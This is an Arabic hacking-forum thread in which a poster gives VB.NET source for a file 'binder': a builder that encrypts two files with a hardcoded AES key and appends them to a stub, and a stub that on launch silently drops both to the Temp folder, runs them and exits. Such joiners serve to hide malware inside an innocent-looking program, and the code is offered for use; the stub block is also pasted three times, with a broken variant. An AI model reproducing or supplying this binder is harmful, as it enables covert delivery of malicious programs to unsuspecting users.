1. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    [/CE[SIZE


    السلام عليكم ورحمه الله وبركاته




    كيف الحال
    اعضاء وزوار ومشرفين عراق تيم

    اليوم ويانه درس عن طريقه عمل برنامج دمج دوت نت خاص بك ويمكن اضافه خصائص جديده للتطوير ليس فقط كوبي بيست
    اتركم مع الاكواد

    [كود الفورم

    كود:
    
    01	Public Class Form1
    02	    Dim F, F2 As String
    03	    Function secure(ByVal data As Byte()) As Byte()
    04	        Using sa As New System.Security.Cryptography.RijndaelManaged
    05	            sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
    06	            sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
    07	            Return sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
    08	        End Using
    09	    End Function
    10	 
    11	    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    12	        Dim ofd As New OpenFileDialog
    13	        With ofd
    14	            .FileName = "*.*"
    15	            .Title = "Choose a file..."
    16	            .Filter = "All Files(*.*)|*.*"
    17	            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    18	            If .ShowDialog = Windows.Forms.DialogResult.OK Then
    19	                F = .SafeFileName
    20	                TextBox1.Text = .FileName
    21	            End If
    22	        End With
    23	    End Sub
    24	 
    25	    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
    26	 
    27	        Dim ofd As New OpenFileDialog
    28	        With ofd
    29	            .FileName = "*.*"
    30	            .Title = "Choose a file..."
    31	            .Filter = "All Files(*.*)|*.*"
    32	            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    33	            If .ShowDialog = Windows.Forms.DialogResult.OK Then
    34	                F2 = .SafeFileName
    35	                TextBox2.Text = .FileName
    36	            End If
    37	        End With
    38	    End Sub
    39	 
    40	    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
    41	        Me.Close()
    42	    End Sub
    43	 
    44	    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
    45	        Try
    46	            Dim sfd As New SaveFileDialog
    47	            With sfd
    48	                .FileName = "*.*"
    49	                .Title = "Choose an output folder..."
    50	                .Filter = "All Files(*.*)|*.*"
    51	                .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    52	                If .ShowDialog = Windows.Forms.DialogResult.OK Then
    53	                    Dim sp As String = "[SPLITTER]"
    54	                    Dim buffer As Byte() = My.Resources.Stub
    55	                    My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
    56	                    Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
    57	                    Dim File2 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
    58	                    System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(File2) & sp & F2)
    59	                    MsgBox("Joined successfull", MsgBoxStyle.Information, "")
    60	                End If
    61	            End With
    62	        Catch ex As Exception
    63	            MsgBox("Error(s)", MsgBoxStyle.Critical, "")
    64	        End Try
    65	    End Sub
    66	 
    67	   
    68	End Class
    


    كود stub




    كود:
    
    ew sourceprint?
    01	Public Class Form1
    02	    Function unsecure(ByVal data As Byte()) As Byte()
    03	        Using sa As New System.Security.Cryptography.RijndaelManaged
    04	            sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
    05	            sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
    06	            Return sa.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
    07	        End Using
    08	    End Function
    09	     
    10	    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    11	        Try
    12	            Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
    13	            Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
    14	            Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
    15	            Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
    16	            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(2), file1, False)
    17	            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(4), file2, False)
    18	            Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
    19	        Catch ex As Exception
    20	            Process.GetCurrentProcess.Kill()
    21	        End Try
    22	        Process.GetCurrentProcess.Kill()
    23	    End Sub
    24	 
    25	End Class
    26	 
    27	    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    28	        Try
    29	            Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
    30	            Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
    31	            Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
    32	            Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
    33	            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(2), file1, False)
    34	            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(4), file2, False)
    35	            Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
    36	        Catch ex As Exception
    37	            Process.GetCurrentProcess.Kill()
    38	        End Try
    39	        Process.GetCurrentProcess.Kill()
    40	    End Sub
    41	 
    42	End Class
    43	 
    44	    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MBase.Load
    45	        Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
    46	        Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
    47	        Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
    48	        Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))  
    49	        My.Computer.FileSystem.WriteAllBytes(tempDir & "/" & drop(2), file1, False)
    50	        My.Computer.FileSystem.WriteAllBytes(tempDir & "/" & drop(4), file2, False)
    51	        Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
    52	    End Sub
    53	End Class
    
    
    
    الاكواد واضحه ولا تحتام الى شرح مطول


    ="6"][/SIZE]NTER]​
     
  2. ahmednajeh98

    ahmednajeh98 Developer

    الأنتساب:
    ‏16 أكتوبر 2015
    المشاركات:
    111
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    رد: عمل برنامج دمج دوت نت متقدم بطريقه سهله

    حلو احسنت
     

مشاركة هذه الصفحة